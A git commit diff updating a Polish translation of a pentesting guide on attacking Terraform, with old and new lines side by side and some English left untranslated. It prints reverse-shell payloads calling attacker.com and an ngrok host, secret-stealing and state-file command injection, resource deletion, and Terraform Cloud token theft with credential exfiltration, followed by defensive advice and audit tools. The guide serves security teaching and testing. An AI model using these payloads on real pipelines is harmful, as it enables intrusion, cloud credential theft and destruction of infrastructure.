Translated ['', 'src/pentesting-ci-cd/terraform-security.md'] to pl

This commit is contained in:
Translator
2025-11-17 15:47:32 +00:00
parent 7489b9eb8e
commit 5d3aa399e6
+147 -108
View File
@@ -1,4 +1,4 @@
# Terraform Security
# Terraform Bezpieczeństwo
{{#include ../banners/hacktricks-training.md}}
@@ -6,21 +6,21 @@
[Z dokumentacji:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie ywać i udostępniać. Możesz następnie użyć spójnego przepływu pracy do provisioningu i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
HashiCorp Terraform to **narzędzie infrastructure as code**, które pozwala zdefiniować zarówno **zasoby w chmurze, jak i onprem** w czytelnych dla człowieka plikach konfiguracyjnych, które możesz wersjonować, ponownie wykorzystywać i udostępniać. Następnie możesz użyć spójnego workflow do wdrażania i zarządzania całą infrastrukturą przez cały jej cykl życia. Terraform może zarządzać niskopoziomowymi komponentami, takimi jak zasoby obliczeniowe, pamięci i sieciowe, jak również wysokopoziomowymi komponentami, takimi jak wpisy DNS i funkcje SaaS.
#### Jak działa Terraform?
Terraform tworzy i zarządza zasobami na platformach chmurowych i innych usługach za pośrednictwem ich interfejsów programowania aplikacji (API). Dostawcy umożliwiają Terraformowi pracę z praktycznie każdą platformą lub usługą z dostępnym API.
Terraform tworzy i zarządza zasobami na platformach chmurowych oraz innych usługach poprzez ich interfejsy programistyczne (APIs). Providery umożliwiają Terraformowi pracę praktycznie z dowolną platformą lub usługą posiadającą dostępne API.
![](<../images/image (177).png>)
HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkie publicznie dostępne dostawcy można znaleźć w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
HashiCorp i społeczność Terraformu napisały już **ponad 1700 providerów** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkie publicznie dostępne providery znajdziesz w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
Podstawowy przepływ pracy Terraform składa się z trzech etapów:
Podstawowy workflow Terraform składa się z trzech etapów:
- **Napisz:** Definiujesz zasoby, które mogą być rozproszone w wielu dostawcach chmurowych i usługach. Na przykład możesz stworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w sieci Virtual Private Cloud (VPC) z grupami zabezpieczeń i równoważnikiem obciążenia.
- **Zaplanuj:** Terraform tworzy plan wykonania opisujący infrastrukturę, którą utworzy, zaktualizuje lub zniszczy na podstawie istniejącej infrastruktury i twojej konfiguracji.
- **Zastosuj:** Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując wszelkie zależności zasobów. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform najpierw odtworzy VPC przed skalowaniem maszyn wirtualnych.
- **Write:** Definiujesz zasoby, które mogą obejmować wiele dostawców chmurowych i usług. Na przykład możesz utworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w Virtual Private Cloud (VPC) z security groups i load balancerem.
- **Plan:** Terraform tworzy execution plan opisujący infrastrukturę, którą utworzy, zaktualizuje lub usunie na podstawie istniejącej infrastruktury i Twojej konfiguracji.
- **Apply:** Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując zależności między zasobami. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform odtworzy VPC przed skalowaniem maszyn wirtualnych.
![](<../images/image (215).png>)
@@ -28,41 +28,41 @@ Podstawowy przepływ pracy Terraform składa się z trzech etapów:
Po prostu zainstaluj terraform na swoim komputerze.
Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-cli), a tutaj masz [najlepszy sposób na pobranie terraform](https://www.terraform.io/downloads).
Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-cli) i tutaj masz [najlepszy sposób na pobranie terraform](https://www.terraform.io/downloads).
## RCE w Terraform: złośliwe modyfikacje pliku konfiguracyjnego
## RCE in Terraform: config file poisoning
Terraform **nie ma platformy, która udostępniałaby stronę internetową lub usługę sieciową**, którą możemy enumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform** lub **możliwość modyfikacji pliku stanu terraform** (zobacz rozdział poniżej).
Terraform **nie udostępnia platformy z stroną WWW ani usługą sieciową**, którą można by enumerować, dlatego jedynym sposobem na przejęcie terraform jest możliwość **dodawania/modyfikowania plików konfiguracyjnych terraform** lub możliwość **modyfikacji pliku stanu terraform** (zobacz rozdział poniżej).
Jednak terraform jest **bardzo wrażliwym komponentem** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł działać poprawnie.
Jednak terraform to **bardzo wrażliwy komponent** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł prawidłowo działać.
Głównym sposobem, w jaki atakujący może skompromitować system, na którym działa terraform, jest **skomprimitowanie repozytorium, które przechowuje konfiguracje terraform**, ponieważ w pewnym momencie będą one **interpretowane**.
Głównym sposobem dla atakującego na przejęcie systemu, na którym działa terraform, jest **skompromitowanie repozytorium przechowującego konfiguracje terraform**, ponieważ w pewnym momencie zostaną one **zinterpretowane**.
W rzeczywistości istnieją rozwiązania, które **automatycznie wykonują terraform plan/apply po utworzeniu PR**, takie jak **Atlantis**:
W rzeczywistości istnieją rozwiązania, które **wykonują terraform plan/apply automatycznie po utworzeniu PR**, takie jak **Atlantis**:
{{#ref}}
atlantis-security.md
{{#endref}}
Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, aby przeprowadzić RCE, gdy ktoś wykona `terraform plan` lub `terraform apply`.
Jeśli uda Ci się skompromitować plik terraform, istnieją różne sposoby na wykonanie RCE, gdy ktoś uruchomi `terraform plan` lub `terraform apply`.
### Terraform plan
Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform używają go cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform uruchamiają je cały czas, więc **najprostszy sposób na uzyskanie RCE** to upewnić się, że zatrujesz plik konfiguracyjny terraform, który wykona dowolne polecenia podczas `terraform plan`.
**Używając zewnętrznego dostawcy**
**Użycie providera external**
Terraform oferuje [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), który zapewnia sposób interakcji między Terraform a programami zewnętrznymi. Możesz użyć źródła danych `external`, aby uruchomić dowolny kod podczas `plan`.
Terraform oferuje [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), który zapewnia sposób interakcji między Terraformem a zewnętrznymi programami. Możesz użyć źródła danych `external`, aby uruchomić dowolny kod podczas `plan`.
Wstrzyknięcie do pliku konfiguracyjnego terraform czegoś takiego jak poniżej spowoduje wykonanie rev shell podczas wykonywania `terraform plan`:
Wstrzyknięcie do pliku konfiguracyjnego terraform czegoś takiego spowoduje wykonanie rev shell podczas uruchamiania `terraform plan`:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Używanie niestandardowego dostawcy**
**Użycie niestandardowego providera**
Atakujący mógłby wysłać [niestandardowego dostawcę](https://learn.hashicorp.com/tutorials/terraform/provider-setup) do [Terraform Registry](https://registry.terraform.io/) i następnie dodać go do kodu Terraform w gałęzi funkcji ([przykład stąd](https://alex.kaskaso.li/post/terraform-plan-rce)):
Atakujący mógłby przesłać [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) do [Terraform Registry](https://registry.terraform.io/) i następnie dodać go do kodu Terraform w feature branchu ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -75,13 +75,13 @@ version = "1.0"
provider "evil" {}
```
Dostawca jest pobierany w `init` i uruchomi złośliwy kod, gdy `plan` zostanie wykonany.
Provider jest pobierany podczas `init` i uruchomi złośliwy kod, gdy zostanie wykonany `plan`
Możesz znaleźć przykład w [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
Przykład znajdziesz w [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
**Używanie zewnętrznego odniesienia**
**Użycie zewnętrznego odwołania**
Obie wspomniane opcje są przydatne, ale nie bardzo dyskretne (druga jest bardziej dyskretna, ale bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak nawet w **bardziej dyskretny sposób**, stosując się do tych sugestii:
Obie wymienione opcje są przydatne, ale niezbyt dyskretne (druga jest bardziej dyskretna, lecz bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak w jeszcze bardziej **dyskretny sposób**, stosując się do poniższych sugestii:
- Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz **załadować zewnętrzny zasób**, który zawiera rev shell:
```javascript
@@ -89,14 +89,14 @@ module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- W zewnętrznym zasobie użyj funkcji **ref** aby ukryć **terraform rev shell code in a branch** w repozytorium, na przykład: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply zostanie wykonany, aby zastosować wszystkie zmiany, możesz go również nadużyć, aby uzyskać RCE, wstrzykując **złośliwy plik Terraform z** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Musisz tylko upewnić się, że jakiś ładunek, taki jak poniższe, kończy się w pliku `main.tf`:
Terraform apply zostanie wykonany, aby zastosować wszystkie zmiany; możesz też nadużyć go, aby uzyskać RCE, wstrzykując **złośliwy plik Terraform z** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Musisz tylko upewnić się, że jakiś payload podobny do poniższych znajduje się w pliku `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**.
Postępuj zgodnie z **sugestiami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej dyskretny sposób, używając zewnętrznych odwołań**.
## Zrzuty sekretów
## Secrets Dumps
Możesz uzyskać **wartości sekretów używanych przez terraform** uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
Możesz spowodować, że **secret values used by terraform dumped** uruchamiając `terraform apply` przez dodanie do pliku terraform czegoś takiego:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -124,15 +124,15 @@ value = nonsensitive(var.do_token)
```
## Wykorzystywanie plików stanu Terraform
W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`.
W przypadku gdy masz prawa zapisu do plików stanu terraform, ale nie możesz zmieniać kodu terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) przedstawia kilka interesujących opcji wykorzystania takiego pliku. Nawet jeśli miałbyś prawa zapisu do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`.
### RCE w Terraform: zanieczyszczenie pliku konfiguracyjnego
### RCE in Terraform: config file poisoning
Możliwe jest [stworzenie niestandardowego dostawcy](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie fałszywego zasobu odwołującego się do złośliwego dostawcy.
Możliwe jest [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpić jednego z providerów w pliku stanu terraform złośliwym albo dodać fałszywy resource odwołujący się do złośliwego providera.
Dostawca [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na badaniach i wykorzystuje tę zasadę. Możesz dodać fałszywy zasób i okrlić dowolne polecenie bash, które chcesz uruchomić w atrybucie `command`. Gdy uruchomiony zostanie `terraform`, zostanie to odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy zasób z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełna demonstracja można znaleźć w [repozytorium GitHub, które hostuje kod źródłowy dla tego dostawcy](https://github.com/offensive-actions/terraform-provider-statefile-rce).
Provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na tym badaniu i uzbraja tę zasadę. Możesz dodać fałszywy resource i umicić dowolne polecenie bash, które chcesz wykonać, w atrybucie `command`. Gdy uruchomione zostanie `terraform`, polecenie to zostanie odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy resource z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełne demo można znaleźć w [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
Aby użyć go bezpośrednio, wystarczy dodać poniższe w dowolnym miejscu w tablicy `resources` i dostosować atrybuty `name` i `command`:
Aby użyć tego bezpośrednio, po prostu dołącz poniższy fragment w dowolnym miejscu tablicy `resources` i dostosuj atrybuty `name` oraz `command`:
```json
{
"mode": "managed",
@@ -152,15 +152,15 @@ Aby użyć go bezpośrednio, wystarczy dodać poniższe w dowolnym miejscu w tab
]
}
```
Wtedy, gdy `terraform` zostanie wykonany, twój kod zostanie uruchomiony.
Then, as soon as `terraform` gets executed, your code will run.
### Usuwanie zasobów <a href="#deleting-resources" id="deleting-resources"></a>
Istnieją 2 sposoby na zniszczenie zasobów:
Istnieją 2 sposoby na usunięcie zasobów:
1. **Wstaw zasób o losowej nazwie do pliku stanu wskazującego na rzeczywisty zasób do zniszczenia**
1. **Wstaw do pliku stanu zasób o losowej nazwie wskazujący na rzeczywisty zasób do usunięcia**
Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony:
Ponieważ `terraform` zobaczy, że zasób nie powinien istnieć, zniszczy go (używając wskazanego rzeczywistego ID zasobu). Przykład z poprzedniej strony:
```json
{
"mode": "managed",
@@ -176,13 +176,13 @@ Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgod
]
},
```
2. **Zmień zasób do usunięcia w sposób, który uniemożliwia aktualizację (tak, aby został usunięty i odtworzony)**
2. **Zmień zasób tak, aby został usunięty w sposób uniemożliwiający jego aktualizację (czyli zostanie usunięty i odtworzony)**
W przypadku instancji EC2, zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.
Dla instancji EC2 zmiana typu instancji wystarczy, aby terraform usunął i odtworzył ją.
### Zastąp zablokowanego dostawcę
### Zastąp zablokowany provider
W przypadku napotkania sytuacji, w której `hashicorp/external` został zablokowany, możesz ponownie zaimplementować dostawcę `external`, wykonując następujące kroki. Uwaga: Używamy forka dostawcy external opublikowanego przez https://registry.terraform.io/providers/nazarewk/external/latest. Możesz również opublikować własny fork lub ponowną implementację.
Jeśli napotkasz sytuację, w której `hashicorp/external` został zablokowany, możesz ponownie zaimplementować provider `external`, wykonując poniższe kroki. Uwaga: używamy forka providera external opublikowanego pod adresem https://registry.terraform.io/providers/nazarewk/external/latest. Możesz też opublikować własny fork lub ponowną implementację.
```terraform
terraform {
required_providers {
@@ -193,27 +193,27 @@ version = "3.0.0"
}
}
```
Możesz wtedy użyć `external` jak zwykle.
Następnie możesz użyć `external` jak zwykle.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud speculative plan RCE i eksfiltracja poświadczeń
## Terraform Cloud speculative plan RCE and credential exfiltration
Ten scenariusz wykorzystuje runnerów Terraform Cloud (TFC) podczas spekulacyjnych planów do przejęcia kontroli nad docelowym kontem w chmurze.
Ten scenariusz nadużywa Terraform Cloud (TFC) runners podczas speculative plans, aby pivot into the target cloud account.
- Warunki wstępne:
- Ukradnij token Terraform Cloud z maszyny dewelopera. CLI przechowuje tokeny w formacie tekstowym w `~/.terraform.d/credentials.tfrc.json`.
- Token musi mieć dostęp do docelowej organizacji/obszaru roboczego i przynajmniej uprawnienia `plan`. Obszary robocze oparte na VCS blokują `apply` z CLI, ale nadal pozwalają na spekulacyjne plany.
- Ukradnij token Terraform Cloud z maszyny dewelopera. CLI przechowuje tokeny w postaci zwykłego tekstu w `~/.terraform.d/credentials.tfrc.json`.
- Token musi mieć dostęp do docelowej organization/workspace i co najmniej uprawnienie `plan`. VCS-backed workspaces blokują `apply` z CLI, ale nadal pozwalają na speculative plans.
- Odkryj ustawienia obszaru roboczego i VCS za pomocą API TFC:
- Odkryj workspace i ustawienia VCS za pomocą TFC API:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- Wywołaj wykonanie kodu podczas spekulacyjnego planu, używając zewnętrznego źródła danych i bloku "cloud" Terraform Cloud, aby celować w przestrzeń roboczą opartą na VCS:
- Wywołaj wykonanie kodu podczas speculative plan, używając external data source oraz Terraform Cloud "cloud" block, aby zaatakować VCS-backed workspace:
```hcl
terraform {
cloud {
@@ -226,30 +226,30 @@ data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
```
Przykład rsync.sh do uzyskania odwrotnej powłoki na uruchamiaczu TFC:
Przykładowy rsync.sh, aby uzyskać reverse shell na TFC runner:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
Uruchom spekulacyjny plan, aby wykonać program na tymczasowym runnerze:
Uruchom spekulatywny plan, aby wykonać program na ephemeral runner:
```bash
terraform init
terraform plan
```
- Wymień i wyeksfiltruj wstrzyknięte dane uwierzytelniające chmury z runnera. Podczas uruchamiania, TFC wstrzykuje dane uwierzytelniające dostawcy za pomocą plików i zmiennych środowiskowych:
- Wypisz i wyeksfiltruj wstrzyknięte poświadczenia chmurowe z runnera. Podczas uruchomi TFC wstrzykuje poświadczenia providerów poprzez pliki i zmienne środowiskowe:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Oczekiwane pliki w katalogu roboczym runnera:
- GCP:
- `tfc-google-application-credentials` (konfiguracja JSON federacji tożsamości obciążenia)
- `tfc-gcp-token` (token dostępu GCP o krótkim czasie życia)
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
- `tfc-gcp-token` (krótkotrwały GCP access token)
- AWS:
- `tfc-aws-shared-config` (konfiguracja założenia roli tożsamości webowej/OIDC)
- `tfc-aws-token` (token o krótkim czasie życia; niektóre organizacje mogą używać statycznych kluczy)
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
- `tfc-aws-token` (krótkotrwały token; niektóre organizacje mogą używać statycznych kluczy)
- Użyj krótkoterminowych poświadczeń poza pasmem, aby obejść bramy VCS:
- Użyj krótkotrwałych poświadczeń poza kanałem, aby obejść zabezpieczenia VCS:
GCP (gcloud):
```bash
@@ -263,28 +263,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
Z tymi poświadczeniami, atakujący mogą tworzyć/modyfikować/niszczyć zasoby bezpośrednio za pomocą natywnych interfejsów CLI, omijając przepływy pracy oparte na PR, które blokują `apply` za pośrednictwem VCS.
Dzięki tym poświadczeniom atakujący mogą tworzyć/modyfikować/usuwać zasoby bezpośrednio za pomocą natywnych CLI, omijając przepływy pracy oparte na PR, które blokują `apply` przez VCS.
- Wskazówki obronne:
- Zastosuj zasadę najmniejszych uprawnień dla użytkowników/zespołów TFC i tokenów. Audytuj członkostwa i unikaj zbyt dużych właścicieli.
- Ogranicz uprawnienia `plan` w wrażliwych przestrzeniach roboczych opartych na VCS, gdzie to możliwe.
- Wymuszaj listy dozwolonych dostawców/źródeł danych za pomocą polityk Sentinel, aby zablokować `data "external"` lub nieznanych dostawców. Zobacz wskazówki HashiCorp dotyczące filtrowania dostawców.
- Preferuj OIDC/WIF zamiast statycznych poświadczeń chmurowych; traktuj runnerów jako wrażliwe. Monitoruj spekulacyjne uruchomienia planów i nieoczekiwany egress.
- Wykrywaj eksfiltrację artefaktów poświadczeń `tfc-*` i powiadamiaj o podejrzanym użyciu programów `external` podczas planów.
- Defensive guidance:
- Stosuj zasadę najmniejszych uprawnień wobec użytkowników/zespołów i tokenów TFC. Audytuj członkostwa i unikaj nadmiernie szerokich uprawnień właścicieli.
- Ogranicz uprawnienie `plan` w wrażliwych workspaces opartych na VCS tam, gdzie to możliwe.
- Wymuś listy dozwolonych providerów/źródeł danych za pomocą polityk Sentinel, aby zablokować `data "external"` lub nieznanych providerów. Zobacz wytyczne HashiCorp dotyczące filtrowania providerów.
- Preferuj OIDC/WIF zamiast statycznych poświadczeń chmurowych; traktuj runners jako zasoby wrażliwe. Monitoruj spekulacyjne uruchomienia planów i nieoczekiwany egress.
- Wykrywaj eksfiltrację artefaktów poświadczeń `tfc-*` i generuj alerty przy podejrzanym użyciu programu `external` podczas planów.
## Narzędzia do automatycznego audytu
## Kompromitacja Terraform Cloud
### Użycie tokena
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Ukradzenie tego tokena pozwala atakującemu podszyć się pod użytkownika w zakresie uprawnień tokena.
Używając tego tokena, można uzyskać org/workspace za pomocą:
```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```
Wówczas możliwe jest uruchomienie dowolnego kodu za pomocą **`terraform plan`**, jak wyjaśniono w poprzednim rozdziale.
### Ucieczka do chmury
Jeżeli runner znajduje się w środowisku chmurowym, można uzyskać token podmiotu przypisanego do runnera i wykorzystać go poza tym środowiskiem.
- **Pliki GCP (obecne w katalogu roboczym bieżącego uruchomienia)**
- `tfc-google-application-credentials` — konfiguracja JSON dla Workload Identity Federation (WIF), która mówi Google, jak wymienić zewnętrzną tożsamość.
- `tfc-gcp-token` — krótkotrwały (≈1 godz.) token dostępu GCP, na który odwołuje się powyższy.
- **Pliki AWS**
- `tfc-aws-shared-config` — JSON dla web identity federation/OIDC role assumption (preferowane zamiast statycznych kluczy).
- `tfc-aws-token` — krótkotrwały token, lub potencjalnie statyczne klucze IAM jeśli źle skonfigurowane.
## Narzędzia automatycznego audytu
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki w zabezpieczeniach i błędne konfiguracje w Terraform, CloudFormation, Kubernetes i innych formatach IaC.
Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa podatności i błędy konfiguracji w Terraform, CloudFormation, Kubernetes i innych formatach IaC.
- **Funkcje:**
- Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością.
- Skanowanie w czasie rzeczywistym w celu wykrywania podatności i problemów ze zgodnością.
- Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket).
- Zautomatyzowane pull requesty z poprawkami.
- Szczegółowe porady dotyczące usuwania problemów.
- **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/).
- Automatyczne pull requesty z poprawkami.
- Szczegółowe porady dotyczące naprawy.
- **Sign Up:** Utwórz konto na [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
@@ -293,28 +319,28 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source.
**Checkov** to narzędzie do statycznej analizy kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source.
Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji bezpieczeństwa i zgodności za pomocą skanowania opartego na grafach.
Skanuje infrastrukturę chmurową provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) i wykrywa problemy z bezpieczeństwem oraz niezgodności z wymaganiami compliance za pomocą skanowania opartego na grafie.
Wykonuje [analizę składu oprogramowania (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), która jest skanowaniem pakietów open source i obrazów pod kątem powszechnych luk w zabezpieczeniach (CVE).
Wykonuje [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), które jest skanem pakietów open source i obrazów w poszukiwaniu Common Vulnerabilities and Exposures (CVEs).
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu.
Z [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekki framework testowy skoncentrowany na bezpieczeństwie i zgodności dla terraform, umożliwiający przeprowadzanie testów negatywnych dla twojej infrastruktury jako kodu.
